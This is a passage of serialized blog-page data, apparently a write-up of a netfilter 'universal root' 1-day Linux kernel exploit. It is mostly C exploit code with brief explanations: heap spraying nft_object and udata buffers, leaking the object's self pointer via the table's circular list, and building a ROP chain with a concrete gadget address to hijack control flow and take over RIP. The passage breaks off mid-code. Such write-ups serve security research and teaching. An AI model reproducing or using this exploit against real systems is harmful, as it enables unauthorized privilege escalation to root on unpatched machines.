0,54835,54840,54845],{"type":23,"tag":134,"props":54821,"children":54822},{"style":264},[54823],{"type":28,"value":54824},"        snprintf",{"type":23,"tag":134,"props":54826,"children":54827},{"style":179},[54828],{"type":28,"value":54829},"(spray_name, ",{"type":23,"tag":134,"props":54831,"children":54832},{"style":151},[54833],{"type":28,"value":54834},"sizeof",{"type":23,"tag":134,"props":54836,"children":54837},{"style":179},[54838],{"type":28,"value":54839},"(spray_name), ",{"type":23,"tag":134,"props":54841,"children":54842},{"style":1461},[54843],{"type":28,"value":54844},"\"spray-%i\"",{"type":23,"tag":134,"props":54846,"children":54847},{"style":179},[54848],{"type":28,"value":54849},", i);\n",{"type":23,"tag":134,"props":54851,"children":54852},{"class":136,"line":527},[54853,54858,54862,54866,54871],{"type":23,"tag":134,"props":54854,"children":54855},{"style":162},[54856],{"type":28,"value":54857},"        udata",{"type":23,"tag":134,"props":54859,"children":54860},{"style":179},[54861],{"type":28,"value":54102},{"type":23,"tag":134,"props":54863,"children":54864},{"style":168},[54865],{"type":28,"value":257},{"type":23,"tag":134,"props":54867,"children":54868},{"style":264},[54869],{"type":28,"value":54870}," getudata",{"type":23,"tag":134,"props":54872,"children":54873},{"style":179},[54874],{"type":28,"value":54875},"(nl, spray_name);\n",{"type":23,"tag":134,"props":54877,"children":54878},{"class":136,"line":780},[54879],{"type":23,"tag":134,"props":54880,"children":54881},{"style":179},[54882],{"type":28,"value":533},{"type":23,"tag":134,"props":54884,"children":54885},{"class":136,"line":797},[54886,54890,54894,54898,54902,54906,54910,54914,54918,54922,54927,54931,54935,54939,54943],{"type":23,"tag":134,"props":54887,"children":54888},{"style":189},[54889],{"type":28,"value":11746},{"type":23,"tag":134,"props":54891,"children":54892},{"style":179},[54893],{"type":28,"value":232},{"type":23,"tag":134,"props":54895,"children":54896},{"style":162},[54897],{"type":28,"value":54605},{"type":23,"tag":134,"props":54899,"children":54900},{"style":179},[54901],{"type":28,"value":924},{"type":23,"tag":134,"props":54903,"children":54904},{"style":205},[54905],{"type":28,"value":1224},{"type":23,"tag":134,"props":54907,"children":54908},{"style":179},[54909],{"type":28,"value":48463},{"type":23,"tag":134,"props":54911,"children":54912},{"style":205},[54913],{"type":28,"value":1224},{"type":23,"tag":134,"props":54915,"children":54916},{"style":179},[54917],{"type":28,"value":8121},{"type":23,"tag":134,"props":54919,"children":54920},{"style":168},[54921],{"type":28,"value":8035},{"type":23,"tag":134,"props":54923,"children":54924},{"style":162},[54925],{"type":28,"value":54926}," udata",{"type":23,"tag":134,"props":54928,"children":54929},{"style":179},[54930],{"type":28,"value":924},{"type":23,"tag":134,"props":54932,"children":54933},{"style":205},[54934],{"type":28,"value":291},{"type":23,"tag":134,"props":54936,"children":54937},{"style":179},[54938],{"type":28,"value":48463},{"type":23,"tag":134,"props":54940,"children":54941},{"style":205},[54942],{"type":28,"value":1224},{"type":23,"tag":134,"props":54944,"children":54945},{"style":179},[54946],{"type":28,"value":54947},"])\n",{"type":23,"tag":134,"props":54949,"children":54950},{"class":136,"line":814},[54951],{"type":23,"tag":134,"props":54952,"children":54953},{"style":179},[54954],{"type":28,"value":28680},{"type":23,"tag":134,"props":54956,"children":54957},{"class":136,"line":827},[54958,54963,54967,54972],{"type":23,"tag":134,"props":54959,"children":54960},{"style":264},[54961],{"type":28,"value":54962},"        puts",{"type":23,"tag":134,"props":54964,"children":54965},{"style":179},[54966],{"type":28,"value":272},{"type":23,"tag":134,"props":54968,"children":54969},{"style":1461},[54970],{"type":28,"value":54971},"\"[+] got duplicated table\"",{"type":23,"tag":134,"props":54973,"children":54974},{"style":179},[54975],{"type":28,"value":1021},{"type":23,"tag":134,"props":54977,"children":54978},{"class":136,"line":836},[54979],{"type":23,"tag":134,"props":54980,"children":54981},{"style":179},[54982],{"type":28,"value":533},{"type":23,"tag":134,"props":54984,"children":54985},{"class":136,"line":859},[54986],{"type":23,"tag":134,"props":54987,"children":54988},{"emptyLinePlaceholder":15},[54989],{"type":28,"value":865},{"type":23,"tag":134,"props":54991,"children":54992},{"class":136,"line":868},[54993],{"type":23,"tag":134,"props":54994,"children":54995},{"style":141},[54996],{"type":28,"value":54997},"    // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":134,"props":54999,"children":55000},{"class":136,"line":877},[55001],{"type":23,"tag":134,"props":55002,"children":55003},{"style":141},[55004],{"type":28,"value":55005},"    // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":134,"props":55007,"children":55008},{"class":136,"line":946},[55009,55014,55018,55023],{"type":23,"tag":134,"props":55010,"children":55011},{"style":264},[55012],{"type":28,"value":55013},"    puts",{"type":23,"tag":134,"props":55015,"children":55016},{"style":179},[55017],{"type":28,"value":272},{"type":23,"tag":134,"props":55019,"children":55020},{"style":1461},[55021],{"type":28,"value":55022},"\"[*] Info leak\"",{"type":23,"tag":134,"props":55024,"children":55025},{"style":179},[55026],{"type":28,"value":1021},{"type":23,"tag":134,"props":55028,"children":55029},{"class":136,"line":954},[55030,55035,55040,55044,55048,55052],{"type":23,"tag":134,"props":55031,"children":55032},{"style":264},[55033],{"type":28,"value":55034},"    deludata_spray",{"type":23,"tag":134,"props":55036,"children":55037},{"style":179},[55038],{"type":28,"value":55039},"(nl, ",{"type":23,"tag":134,"props":55041,"children":55042},{"style":205},[55043],{"type":28,"value":1224},{"type":23,"tag":134,"props":55045,"children":55046},{"style":179},[55047],{"type":28,"value":242},{"type":23,"tag":134,"props":55049,"children":55050},{"style":205},[55051],{"type":28,"value":1214},{"type":23,"tag":134,"props":55053,"children":55054},{"style":179},[55055],{"type":28,"value":1021},{"type":23,"tag":134,"props":55057,"children":55058},{"class":136,"line":984},[55059,55064],{"type":23,"tag":134,"props":55060,"children":55061},{"style":264},[55062],{"type":28,"value":55063},"    wait_destroyer",{"type":23,"tag":134,"props":55065,"children":55066},{"style":179},[55067],{"type":28,"value":856},{"type":23,"tag":134,"props":55069,"children":55070},{"class":136,"line":992},[55071,55076,55080,55084,55088,55092,55096,55100,55104,55108],{"type":23,"tag":134,"props":55072,"children":55073},{"style":264},[55074],{"type":28,"value":55075},"    obj_spray",{"type":23,"tag":134,"props":55077,"children":55078},{"style":179},[55079],{"type":28,"value":55039},{"type":23,"tag":134,"props":55081,"children":55082},{"style":205},[55083],{"type":28,"value":1224},{"type":23,"tag":134,"props":55085,"children":55086},{"style":179},[55087],{"type":28,"value":242},{"type":23,"tag":134,"props":55089,"children":55090},{"style":205},[55091],{"type":28,"value":1214},{"type":23,"tag":134,"props":55093,"children":55094},{"style":179},[55095],{"type":28,"value":242},{"type":23,"tag":134,"props":55097,"children":55098},{"style":151},[55099],{"type":28,"value":54002},{"type":23,"tag":134,"props":55101,"children":55102},{"style":179},[55103],{"type":28,"value":242},{"type":23,"tag":134,"props":55105,"children":55106},{"style":205},[55107],{"type":28,"value":1224},{"type":23,"tag":134,"props":55109,"children":55110},{"style":179},[55111],{"type":28,"value":1021},{"type":23,"tag":134,"props":55113,"children":55114},{"class":136,"line":1024},[55115,55120,55124,55129,55133,55137,55142,55146,55150,55155,55159,55164],{"type":23,"tag":134,"props":55116,"children":55117},{"style":151},[55118],{"type":28,"value":55119},"    uint64_t",{"type":23,"tag":134,"props":55121,"children":55122},{"style":168},[55123],{"type":28,"value":9281},{"type":23,"tag":134,"props":55125,"children":55126},{"style":179},[55127],{"type":28,"value":55128},"fake_obj ",{"type":23,"tag":134,"props":55130,"children":55131},{"style":168},[55132],{"type":28,"value":257},{"type":23,"tag":134,"props":55134,"children":55135},{"style":179},[55136],{"type":28,"value":232},{"type":23,"tag":134,"props":55138,"children":55139},{"style":151},[55140],{"type":28,"value":55141},"uint64_t",{"type":23,"tag":134,"props":55143,"children":55144},{"style":168},[55145],{"type":28,"value":9281},{"type":23,"tag":134,"props":55147,"children":55148},{"style":179},[55149],{"type":28,"value":296},{"type":23,"tag":134,"props":55151,"children":55152},{"style":264},[55153],{"type":28,"value":55154},"getudata",{"type":23,"tag":134,"props":55156,"children":55157},{"style":179},[55158],{"type":28,"value":55039},{"type":23,"tag":134,"props":55160,"children":55161},{"style":1461},[55162],{"type":28,"value":55163},"\"spray-2\"",{"type":23,"tag":134,"props":55165,"children":55166},{"style":179},[55167],{"type":28,"value":1021},{"type":23,"tag":134,"props":55169,"children":55170},{"class":136,"line":1032},[55171],{"type":23,"tag":134,"props":55172,"children":55173},{"style":179},[55174],{"type":28,"value":9783},{"type":23,"tag":9072,"props":55176,"children":55178},{"id":55177},"leaking-self-pointer-of-nft_object",[55179,55181],{"type":28,"value":55180},"Leaking self pointer of ",{"type":23,"tag":92,"props":55182,"children":55184},{"className":55183},[],[55185],{"type":28,"value":54620},{"type":23,"tag":24,"props":55187,"children":55188},{},[55189,55191,55196,55198,55203,55205,55210,55212,55218],{"type":28,"value":55190},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":92,"props":55192,"children":55194},{"className":55193},[],[55195],{"type":28,"value":54620},{"type":28,"value":55197}," to get its own address. This is possible because the ",{"type":23,"tag":92,"props":55199,"children":55201},{"className":55200},[],[55202],{"type":28,"value":54620},{"type":28,"value":55204}," has a ",{"type":23,"tag":92,"props":55206,"children":55208},{"className":55207},[],[55209],{"type":28,"value":54605},{"type":28,"value":55211}," pointer (similar to ",{"type":23,"tag":92,"props":55213,"children":55215},{"className":55214},[],[55216],{"type":28,"value":55217},"table->udata",{"type":28,"value":55219}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":24,"props":55221,"children":55222},{},[55223,55224,55229,55231,55237,55239,55244,55246,55252,55254,55260,55262,55267,55269,55274,55276,55281,55283],{"type":28,"value":16084},{"type":23,"tag":92,"props":55225,"children":55227},{"className":55226},[],[55228],{"type":28,"value":54620},{"type":28,"value":55230}," struct also contains a ",{"type":23,"tag":92,"props":55232,"children":55234},{"className":55233},[],[55235],{"type":28,"value":55236},"list_head",{"type":28,"value":55238}," inserted in a circular list containing all ",{"type":23,"tag":92,"props":55240,"children":55242},{"className":55241},[],[55243],{"type":28,"value":54620},{"type":28,"value":55245},"'s that belong to a given ",{"type":23,"tag":92,"props":55247,"children":55249},{"className":55248},[],[55250],{"type":28,"value":55251},"table",{"type":28,"value":55253},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":92,"props":55255,"children":55257},{"className":55256},[],[55258],{"type":28,"value":55259},"table->list.next",{"type":28,"value":55261}," pointer in the ",{"type":23,"tag":92,"props":55263,"children":55265},{"className":55264},[],[55266],{"type":28,"value":54620},{"type":28,"value":55268}," will point back to the ",{"type":23,"tag":92,"props":55270,"children":55272},{"className":55271},[],[55273],{"type":28,"value":55236},{"type":28,"value":55275}," contained in the ",{"type":23,"tag":92,"props":55277,"children":55279},{"className":55278},[],[55280],{"type":28,"value":55251},{"type":28,"value":55282}," and vice-versa.\n",{"type":23,"tag":1116,"props":55284,"children":55286},{"alt":50084,"src":55285},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":24,"props":55288,"children":55289},{},[55290,55292,55297,55299,55304,55306,55312,55314,55319,55320,55325,55327,55332,55334,55339],{"type":28,"value":55291},"In short, that means that if we swap the ",{"type":23,"tag":92,"props":55293,"children":55295},{"className":55294},[],[55296],{"type":28,"value":54605},{"type":28,"value":55298}," pointer of the ",{"type":23,"tag":92,"props":55300,"children":55302},{"className":55301},[],[55303],{"type":28,"value":54620},{"type":28,"value":55305}," with its own ",{"type":23,"tag":92,"props":55307,"children":55309},{"className":55308},[],[55310],{"type":28,"value":55311},"list.next",{"type":28,"value":55313}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":92,"props":55315,"children":55317},{"className":55316},[],[55318],{"type":28,"value":54620},{"type":28,"value":51845},{"type":23,"tag":92,"props":55321,"children":55323},{"className":55322},[],[55324],{"type":28,"value":55236},{"type":28,"value":55326}," which is also the start of the ",{"type":23,"tag":92,"props":55328,"children":55330},{"className":55329},[],[55331],{"type":28,"value":54620},{"type":28,"value":55333}," itself.\n",{"type":23,"tag":2532,"props":55335,"children":55336},{},[55337],{"type":28,"value":55338},"NOTE:",{"type":28,"value":55340}," This is a novel small trick.",{"type":23,"tag":87,"props":55342,"children":55344},{"className":28603,"code":55343,"language":28605,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[55345],{"type":23,"tag":92,"props":55346,"children":55347},{"__ignoreMap":7},[55348,55355,55363,55376,55424,55451,55462,55500,55507,55536,55566],{"type":23,"tag":134,"props":55349,"children":55350},{"class":136,"line":137},[55351],{"type":23,"tag":134,"props":55352,"children":55353},{"style":179},[55354],{"type":28,"value":9783},{"type":23,"tag":134,"props":55356,"children":55357},{"class":136,"line":147},[55358],{"type":23,"tag":134,"props":55359,"children":55360},{"style":179},[55361],{"type":28,"value":55362},"    // Leak nft_object ptr using table linked list\n",{"type":23,"tag":134,"props":55364,"children":55365},{"class":136,"line":185},[55366,55371],{"type":23,"tag":134,"props":55367,"children":55368},{"style":179},[55369],{"type":28,"value":55370},"    fake_obj[8] = 8;",{"type":23,"tag":134,"props":55372,"children":55373},{"style":141},[55374],{"type":28,"value":55375},"           // ulen = 8\n",{"type":23,"tag":134,"props":55377,"children":55378},{"class":136,"line":221},[55379,55384,55388,55393,55397,55401,55406,55410,55414,55419],{"type":23,"tag":134,"props":55380,"children":55381},{"style":162},[55382],{"type":28,"value":55383},"    fake_obj",{"type":23,"tag":134,"props":55385,"children":55386},{"style":179},[55387],{"type":28,"value":924},{"type":23,"tag":134,"props":55389,"children":55390},{"style":205},[55391],{"type":28,"value":55392},"9",{"type":23,"tag":134,"props":55394,"children":55395},{"style":179},[55396],{"type":28,"value":8121},{"type":23,"tag":134,"props":55398,"children":55399},{"style":168},[55400],{"type":28,"value":257},{"type":23,"tag":134,"props":55402,"children":55403},{"style":162},[55404],{"type":28,"value":55405}," fake_obj",{"type":23,"tag":134,"props":55407,"children":55408},{"style":179},[55409],{"type":28,"value":924},{"type":23,"tag":134,"props":55411,"children":55412},{"style":205},[55413],{"type":28,"value":1224},{"type":23,"tag":134,"props":55415,"children":55416},{"style":179},[55417],{"type":28,"value":55418},"];",{"type":23,"tag":134,"props":55420,"children":55421},{"style":141},[55422],{"type":28,"value":55423}," // udata = list->next\n",{"type":23,"tag":134,"props":55425,"children":55426},{"class":136,"line":332},[55427,55431,55435,55439,55443,55447],{"type":23,"tag":134,"props":55428,"children":55429},{"style":264},[55430],{"type":28,"value":55034},{"type":23,"tag":134,"props":55432,"children":55433},{"style":179},[55434],{"type":28,"value":55039},{"type":23,"tag":134,"props":55436,"children":55437},{"style":205},[55438],{"type":28,"value":291},{"type":23,"tag":134,"props":55440,"children":55441},{"style":179},[55442],{"type":28,"value":242},{"type":23,"tag":134,"props":55444,"children":55445},{"style":205},[55446],{"type":28,"value":1214},{"type":23,"tag":134,"props":55448,"children":55449},{"style":179},[55450],{"type":28,"value":1021},{"type":23,"tag":134,"props":55452,"children":55453},{"class":136,"line":438},[55454,55458],{"type":23,"tag":134,"props":55455,"children":55456},{"style":264},[55457],{"type":28,"value":55063},{"type":23,"tag":134,"props":55459,"children":55460},{"style":179},[55461],{"type":28,"value":856},{"type":23,"tag":134,"props":55463,"children":55464},{"class":136,"line":466},[55465,55470,55474,55479,55483,55487,55491,55495],{"type":23,"tag":134,"props":55466,"children":55467},{"style":264},[55468],{"type":28,"value":55469},"    udata_spray",{"type":23,"tag":134,"props":55471,"children":55472},{"style":179},[55473],{"type":28,"value":55039},{"type":23,"tag":134,"props":55475,"children":55476},{"style":205},[55477],{"type":28,"value":55478},"0xe8",{"type":23,"tag":134,"props":55480,"children":55481},{"style":179},[55482],{"type":28,"value":242},{"type":23,"tag":134,"props":55484,"children":55485},{"style":205},[55486],{"type":28,"value":16768},{"type":23,"tag":134,"props":55488,"children":55489},{"style":179},[55490],{"type":28,"value":242},{"type":23,"tag":134,"props":55492,"children":55493},{"style":205},[55494],{"type":28,"value":1214},{"type":23,"tag":134,"props":55496,"children":55497},{"style":179},[55498],{"type":28,"value":55499},", fake_obj);\n",{"type":23,"tag":134,"props":55501,"children":55502},{"class":136,"line":479},[55503],{"type":23,"tag":134,"props":55504,"children":55505},{"emptyLinePlaceholder":15},[55506],{"type":28,"value":865},{"type":23,"tag":134,"props":55508,"children":55509},{"class":136,"line":497},[55510,55515,55519,55524,55528,55532],{"type":23,"tag":134,"props":55511,"children":55512},{"style":264},[55513],{"type":28,"value":55514},"    get_obj",{"type":23,"tag":134,"props":55516,"children":55517},{"style":179},[55518],{"type":28,"value":55039},{"type":23,"tag":134,"props":55520,"children":55521},{"style":1461},[55522],{"type":28,"value":55523},"\"spray-0\"",{"type":23,"tag":134,"props":55525,"children":55526},{"style":179},[55527],{"type":28,"value":242},{"type":23,"tag":134,"props":55529,"children":55530},{"style":151},[55531],{"type":28,"value":1195},{"type":23,"tag":134,"props":55533,"children":55534},{"style":179},[55535],{"type":28,"value":1021},{"type":23,"tag":134,"props":55537,"children":55538},{"class":136,"line":518},[55539,55544,55548,55553,55557,55561],{"type":23,"tag":134,"props":55540,"children":55541},{"style":264},[55542],{"type":28,"value":55543},"    printf",{"type":23,"tag":134,"props":55545,"children":55546},{"style":179},[55547],{"type":28,"value":272},{"type":23,"tag":134,"props":55549,"children":55550},{"style":1461},[55551],{"type":28,"value":55552},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":134,"props":55554,"children":55555},{"style":47878},[55556],{"type":28,"value":47881},{"type":23,"tag":134,"props":55558,"children":55559},{"style":1461},[55560],{"type":28,"value":19537},{"type":23,"tag":134,"props":55562,"children":55563},{"style":179},[55564],{"type":28,"value":55565},", obj_ptr);\n",{"type":23,"tag":134,"props":55567,"children":55568},{"class":136,"line":527},[55569],{"type":23,"tag":134,"props":55570,"children":55571},{"style":179},[55572],{"type":28,"value":9783},{"type":23,"tag":9072,"props":55574,"children":55576},{"id":55575},"hijacking-control-flow",[55577],{"type":28,"value":55578},"Hijacking control-flow",{"type":23,"tag":24,"props":55580,"children":55581},{},[55582,55584,55589,55591,55596,55598,55603,55605,55610,55612,55617,55619],{"type":28,"value":55583},"To hijack control-flow, we can use ",{"type":23,"tag":92,"props":55585,"children":55587},{"className":55586},[],[55588],{"type":28,"value":54620},{"type":28,"value":55590}," once again. The ",{"type":23,"tag":92,"props":55592,"children":55594},{"className":55593},[],[55595],{"type":28,"value":54620},{"type":28,"value":55597}," struct has an ",{"type":23,"tag":92,"props":55599,"children":55601},{"className":55600},[],[55602],{"type":28,"value":52176},{"type":28,"value":55604}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":92,"props":55606,"children":55608},{"className":55607},[],[55609],{"type":28,"value":52176},{"type":28,"value":55611}," pointer with the ",{"type":23,"tag":92,"props":55613,"children":55615},{"className":55614},[],[55616],{"type":28,"value":54605},{"type":28,"value":55618}," pointer, taking control of the pointer table.\n",{"type":23,"tag":1116,"props":55620,"children":55622},{"alt":50084,"src":55621},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":87,"props":55624,"children":55626},{"className":28603,"code":55625,"language":28605,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[55627],{"type":23,"tag":92,"props":55628,"children":55629},{"__ignoreMap":7},[55630,55637,55645,55669,55716,55752,55759,55767,55799,55807,55815,55836,55844,55852,55916,55923,55931,55939,55946,55954,55988,55996,56003,56011,56018,56026,56059,56080],{"type":23,"tag":134,"props":55631,"children":55632},{"class":136,"line":137},[55633],{"type":23,"tag":134,"props":55634,"children":55635},{"style":179},[55636],{"type":28,"value":9783},{"type":23,"tag":134,"props":55638,"children":55639},{"class":136,"line":147},[55640],{"type":23,"tag":134,"props":55641,"children":55642},{"style":179},[55643],{"type":28,"value":55644},"    // Fake ops\n",{"type":23,"tag":134,"props":55646,"children":55647},{"class":136,"line":185},[55648,55653,55657,55661,55665],{"type":23,"tag":134,"props":55649,"children":55650},{"style":179},[55651],{"type":28,"value":55652},"    uint64_t *rop = calloc(29, ",{"type":23,"tag":134,"props":55654,"children":55655},{"style":597},[55656],{"type":28,"value":54834},{"type":23,"tag":134,"props":55658,"children":55659},{"style":179},[55660],{"type":28,"value":272},{"type":23,"tag":134,"props":55662,"children":55663},{"style":151},[55664],{"type":28,"value":55141},{"type":23,"tag":134,"props":55666,"children":55667},{"style":179},[55668],{"type":28,"value":6681},{"type":23,"tag":134,"props":55670,"children":55671},{"class":136,"line":221},[55672,55677,55681,55685,55689,55693,55698,55702,55707,55711],{"type":23,"tag":134,"props":55673,"children":55674},{"style":162},[55675],{"type":28,"value":55676},"    rop",{"type":23,"tag":134,"props":55678,"children":55679},{"style":179},[55680],{"type":28,"value":924},{"type":23,"tag":134,"props":55682,"children":55683},{"style":205},[55684],{"type":28,"value":1224},{"type":23,"tag":134,"props":55686,"children":55687},{"style":179},[55688],{"type":28,"value":8121},{"type":23,"tag":134,"props":55690,"children":55691},{"style":168},[55692],{"type":28,"value":257},{"type":23,"tag":134,"props":55694,"children":55695},{"style":179},[55696],{"type":28,"value":55697}," kaslr_slide ",{"type":23,"tag":134,"props":55699,"children":55700},{"style":168},[55701],{"type":28,"value":1586},{"type":23,"tag":134,"props":55703,"children":55704},{"style":205},[55705],{"type":28,"value":55706}," 0xffffffff81988647",{"type":23,"tag":134,"props":55708,"children":55709},{"style":179},[55710],{"type":28,"value":48579},{"type":23,"tag":134,"props":55712,"children":55713},{"style":141},[55714],{"type":28,"value":55715}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":134,"props":55717,"children":55718},{"class":136,"line":332},[55719,55723,55727,55731,55735,55739,55743,55747],{"type":23,"tag":134,"props":55720,"children":55721},{"style":162},[55722],{"type":28,"value":55676},{"type":23,"tag":134,"props":55724,"children":55725},{"style":179},[55726],{"type":28,"value":924},{"type":23,"tag":134,"props":55728,"children":55729},{"style":205},[55730],{"type":28,"value":291},{"type":23,"tag":134,"props":55732,"children":55733},{"style":179},[55734],{"type":28,"value":8121},{"type":23,"tag":134,"props":55736,"children":55737},{"style":168},[55738],{"type":28,"value":257},{"type":23,"tag":134,"props":55740,"children":55741},{"style":179},[55742],{"type":28,"value":55697},{"type":23,"tag":134,"props":55744,"children":55745},{"style":168},[55746],{"type":28,"value":1586},{"type":23,"tag":134,"props":55748,"children":55749},{"style":179},[55750],{"type":28,"value":55751}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":134,"props":55753,"children":55754},{"class":136,"line":438},[55755],{"type":23,"tag":134,"props":55756,"children":55757},{"style":179},[55758],{"type":28,"value":9783},{"type":23,"tag":134,"props":55760,"children":55761},{"class":136,"line":466},[55762],{"type":23,"tag":134,"props":55763,"children":55764},{"style":179},[55765],{"type":28,"value":55766},"    // Send ROP in object udata\n",{"type":23,"tag":134,"props":55768,"children":55769},{"class":136,"line":479},[55770,55775,55779,55784,55789,55794],{"type":23,"tag":134,"props":55771,"children":55772},{"style":179},[55773],{"type":28,"value":55774},"    del_obj(",{"type":23,"tag":134,"props":55776,"children":55777},{"style":597},[55778],{"type":28,"value":53796},{"type":23,"tag":134,"props":55780,"children":55781},{"style":179},[55782],{"type":28,"value":55783},", \"",{"type":23,"tag":134,"props":55785,"children":55786},{"style":597},[55787],{"type":28,"value":55788},"spray",{"type":23,"tag":134,"props":55790,"children":55791},{"style":179},[55792],{"type":28,"value":55793},"-0",{"type":23,"tag":134,"props":55795,"children":55796},{"style":1461},[55797],{"type":28,"value":55798},"\");\n",{"type":23,"tag":134,"props":55800,"children":55801},{"class":136,"line":497},[55802],{"type":23,"tag":134,"props":55803,"children":55804},{"style":1461},[55805],{"type":28,"value":55806},"    wait_destroyer();\n",{"type":23,"tag":134,"props":55808,"children":55809},{"class":136,"line":518},[55810],{"type":23,"tag":134,"props":55811,"children":55812},{"style":1461},[55813],{"type":28,"value":55814},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":134,"props":55816,"children":55817},{"class":136,"line":527},[55818,55823,55827,55832],{"type":23,"tag":134,"props":55819,"children":55820},{"style":1461},[55821],{"type":28,"value":55822},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":134,"props":55824,"children":55825},{"style":151},[55826],{"type":28,"value":55788},{"type":23,"tag":134,"props":55828,"children":55829},{"style":179},[55830],{"type":28,"value":55831},"-3",{"type":23,"tag":134,"props":55833,"children":55834},{"style":1461},[55835],{"type":28,"value":55798},{"type":23,"tag":134,"props":55837,"children":55838},{"class":136,"line":780},[55839],{"type":23,"tag":134,"props":55840,"children":55841},{"style":1461},[55842],{"type":28,"value":55843},"    DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":134,"props":55845,"children":55846},{"class":136,"line":797},[55847],{"type":23,"tag":134,"props":55848,"children":55849},{"style":1461},[55850],{"type":28,"value":55851},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":134,"props":55853,"children":55854},{"class":136,"line":814},[55855,55860,55864,55868,55872,55877,55882,55887,55891,55896,55901,55906,55911],{"type":23,"tag":134,"props":55856,"children":55857},{"style":1461},[55858],{"type":28,"value":55859},"    printf(\"",{"type":23,"tag":134,"props":55861,"children":55862},{"style":179},[55863],{"type":28,"value":924},{"type":23,"tag":134,"props":55865,"children":55866},{"style":168},[55867],{"type":28,"value":1777},{"type":23,"tag":134,"props":55869,"children":55870},{"style":179},[55871],{"type":28,"value":8121},{"type":23,"tag":134,"props":55873,"children":55874},{"style":597},[55875],{"type":28,"value":55876},"ROP",{"type":23,"tag":134,"props":55878,"children":55879},{"style":597},[55880],{"type":28,"value":55881}," addr",{"type":23,"tag":134,"props":55883,"children":55884},{"style":179},[55885],{"type":28,"value":55886},": 0",{"type":23,"tag":134,"props":55888,"children":55889},{"style":597},[55890],{"type":28,"value":18752},{"type":23,"tag":134,"props":55892,"children":55893},{"style":179},[55894],{"type":28,"value":55895},"%",{"type":23,"tag":134,"props":55897,"children":55898},{"style":597},[55899],{"type":28,"value":55900},"lx",{"type":23,"tag":134,"props":55902,"children":55903},{"style":179},[55904],{"type":28,"value":55905},"\\",{"type":23,"tag":134,"props":55907,"children":55908},{"style":597},[55909],{"type":28,"value":55910},"n",{"type":23,"tag":134,"props":55912,"children":55913},{"style":1461},[55914],{"type":28,"value":55915},"\", rop_addr);\n",{"type":23,"tag":134,"props":55917,"children":55918},{"class":136,"line":827},[55919],{"type":23,"tag":134,"props":55920,"children":55921},{"emptyLinePlaceholder":15},[55922],{"type":28,"value":865},{"type":23,"tag":134,"props":55924,"children":55925},{"class":136,"line":836},[55926],{"type":23,"tag":134,"props":55927,"children":55928},{"style":1461},[55929],{"type":28,"value":55930},"    // Point to fake ops\n",{"type":23,"tag":134,"props":55932,"children":55933},{"class":136,"line":859},[55934],{"type":23,"tag":134,"props":55935,"children":55936},{"style":1461},[55937],{"type":28,"value":55938},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":134,"props":55940,"children":55941},{"class":136,"line":868},[55942],{"type":23,"tag":134,"props":55943,"children":55944},{"style":1461},[55945],{"type":28,"value":9783},{"type":23,"tag":134,"props":55947,"children":55948},{"class":136,"line":877},[55949],{"type":23,"tag":134,"props":55950,"children":55951},{"style":1461},[55952],{"type":28,"value":55953},"    // Write ROP\n",{"type":23,"tag":134,"props":55955,"children":55956},{"class":136,"line":946},[55957,55962,55966,55970,55974,55979,55984],{"type":23,"tag":134,"props":55958,"children":55959},{"style":1461},[55960],{"type":28,"value":55961},"    puts(\"",{"type":23,"tag":134,"props":55963,"children":55964},{"style":179},[55965],{"type":28,"value":924},{"type":23,"tag":134,"props":55967,"children":55968},{"style":168},[55969],{"type":28,"value":1777},{"type":23,"tag":134,"props":55971,"children":55972},{"style":179},[55973],{"type":28,"value":8121},{"type":23,"tag":134,"props":55975,"children":55976},{"style":597},[55977],{"type":28,"value":55978},"Write",{"type":23,"tag":134,"props":55980,"children":55981},{"style":597},[55982],{"type":28,"value":55983}," ROP",{"type":23,"tag":134,"props":55985,"children":55986},{"style":1461},[55987],{"type":28,"value":55798},{"type":23,"tag":134,"props":55989,"children":55990},{"class":136,"line":954},[55991],{"type":23,"tag":134,"props":55992,"children":55993},{"style":1461},[55994],{"type":28,"value":55995},"    deludata_spray(nl, 3, 